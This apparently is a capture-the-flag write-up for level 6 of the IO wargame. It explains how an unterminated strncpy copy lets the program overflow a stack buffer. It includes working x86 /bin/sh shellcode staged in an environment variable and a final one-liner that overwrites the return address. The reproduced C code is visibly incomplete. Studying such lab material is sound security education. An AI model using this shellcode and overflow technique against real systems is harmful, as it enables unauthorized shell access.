Level 6, IO STS

//bla, based on work by nnp

#include <stdio.h>
#include <string.h>

void prompt_name(char *name, char *msg){
   char buf[4096];

   read(0, buf, sizeof buf);
   *strchr(buf, '\n') = 0;
   strncpy(name, buf, 20);

void prompt_full_name(char *fullname) {
   char last[20];
   char first[20];

   prompt_name(first, "Please enter your first name: ");
   prompt_name(last, "Please enter your last name: ");

   strcpy(fullname, first);
   strcat(fullname, " ");
   strcat(fullname, last);

int main(int argc, char **argv){
   char fullname[42];

   printf("Welcome, %s\n", fullname);

   return 0;

The program starts out by declaring a variable buffer fullname with 42 bytes. It calls prompt_full_name function with the fullname buffer as an argument. prompt_full_name declares 2 buffers, last and first each 20 bytes long. Passes the buffers into the prompt_name function. prompt_name reads in the values into a buffer and copies the first 20 bytes of data into the argument buffer. Let’s take a look at what strncpy actually does.

STRCPY(4)                 Linux Programmer's Manual                 STRCPY(3)

       strcpy, strncpy - copy a string

       #include <string.h>

       char *strcpy(char *dest, const char *src);

       char *strncpy(char *dest, const char *src, size_t n);

       The  strcpy()  function copies the string pointed to by src, including
       the terminating null byte ('\\0'), to the buffer pointed  to  by  dest.
       The  strings  may not overlap, and the destination string dest must be
       large enough to receive the copy.  Beware of  buffer  overruns!   (See

       The  strncpy() function is similar, except that at most n bytes of src
       are copied.  Warning: If there is no null byte among the first n bytes
       of src, the string placed in dest will not be null-terminated.

       If  the length of src is less than n, strncpy() writes additional null
       bytes to dest to ensure that a total of n bytes are written.

So we know that strncpy will copy all 20 bytes even if it does not contain any null (\0) bytes. Let’s try to fill the first buffer with 20 bytes without a null terminator followed by another 20 bytes with a null terminator at the end.

level6@io:/levels$ gdb -q level06
Reading symbols from /levels/level06...(no debugging symbols found)...done.
(gdb) r
Starting program: /levels/level06 
Please enter your first name: 
Please enter your last name: 

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()

With this vulnerability, it allowed us to copy 20 bytes + 19 bytes + a space + 19 bytes which was enough to overwrite the eip to cause a segmentation fault.

The space we have to work with is too little to insert the shellcode required. We need to find another way. Turns out that we can store shellcode in an environment variable.

level6@io:/levels$ SHELLCODE=$(ruby -e 'puts "\x90"*100+"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"')
level6@io:/levels$ echo $SHELLCODE

We can find the memory address of this new environment variable that we created with this nifty c program.

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv) {
   printf("\n%p\n\n", getenv("SHELLCODE"));

Let’s find out what our SHELLCODE environment variable’s address is in memory.

level6@io:/levels$ mkdir /tmp/level6
level6@io:/levels$ cd /tmp/level6
level6@io:/tmp/level6$ vim getenv.c
level6@io:/tmp/level6$ gcc getenv.c -o getenv
level6@io:/tmp/level6$ ./getenv



Now we have our SHELLCODE‘s location, we can craft our exploit.

level6@io:/tmp/level6$ (ruby -e 'puts "A"*20 + "\n" + "A"*4089 + "\x1c\xfe\xff\xbf" + "A"'; cat) | /levels/level06
Please enter your first name: 
Please enter your last name: 


Stanley Tan